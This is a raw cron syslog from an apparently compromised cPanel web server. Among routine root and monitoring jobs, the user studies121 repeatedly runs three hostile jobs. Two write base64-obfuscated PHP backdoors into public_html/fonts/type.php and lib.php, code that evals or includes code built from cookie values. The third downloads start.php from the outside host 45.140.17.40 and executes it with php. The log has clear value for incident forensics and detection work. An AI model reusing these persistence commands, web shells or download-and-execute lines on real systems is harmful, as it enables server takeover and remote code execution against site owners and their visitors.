Sep  3 23:30:01 ip-184-168-122-23 CROND[15793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:31:01 ip-184-168-122-23 CROND[15886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:31:01 ip-184-168-122-23 CROND[15888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:31:01 ip-184-168-122-23 CROND[15889]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:31:01 ip-184-168-122-23 CROND[15890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:31:01 ip-184-168-122-23 CROND[15891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:32:01 ip-184-168-122-23 CROND[15989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:32:01 ip-184-168-122-23 CROND[15990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:32:01 ip-184-168-122-23 CROND[15992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:32:01 ip-184-168-122-23 CROND[15993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:32:01 ip-184-168-122-23 CROND[15995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:33:01 ip-184-168-122-23 CROND[16108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:33:01 ip-184-168-122-23 CROND[16110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:33:01 ip-184-168-122-23 CROND[16111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:33:01 ip-184-168-122-23 CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:34:01 ip-184-168-122-23 CROND[16191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:34:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:34:01 ip-184-168-122-23 CROND[16192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:34:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:34:01 ip-184-168-122-23 CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:35:01 ip-184-168-122-23 CROND[16291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:35:01 ip-184-168-122-23 CROND[16292]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 23:36:01 ip-184-168-122-23 CROND[16471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:36:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:36:01 ip-184-168-122-23 CROND[16474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:36:01 ip-184-168-122-23 CROND[16475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:36:01 ip-184-168-122-23 CROND[16476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:37:01 ip-184-168-122-23 CROND[16577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:37:01 ip-184-168-122-23 CROND[16580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:37:01 ip-184-168-122-23 CROND[16579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:37:01 ip-184-168-122-23 CROND[16582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:38:01 ip-184-168-122-23 CROND[16663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:38:01 ip-184-168-122-23 CROND[16662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:38:01 ip-184-168-122-23 CROND[16665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:38:01 ip-184-168-122-23 CROND[16666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:38:01 ip-184-168-122-23 CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:39:01 ip-184-168-122-23 CROND[16745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:39:01 ip-184-168-122-23 CROND[16747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:39:01 ip-184-168-122-23 CROND[16749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:39:01 ip-184-168-122-23 CROND[16752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:39:01 ip-184-168-122-23 CROND[16751]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:40:01 ip-184-168-122-23 CROND[16849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:40:01 ip-184-168-122-23 CROND[16855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:41:01 ip-184-168-122-23 CROND[16951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:41:01 ip-184-168-122-23 CROND[16953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:41:01 ip-184-168-122-23 CROND[16954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:41:01 ip-184-168-122-23 CROND[16955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:42:01 ip-184-168-122-23 CROND[17111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:42:01 ip-184-168-122-23 CROND[17113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:42:01 ip-184-168-122-23 CROND[17115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:42:01 ip-184-168-122-23 CROND[17114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:42:01 ip-184-168-122-23 CROND[17116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:43:01 ip-184-168-122-23 CROND[17200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
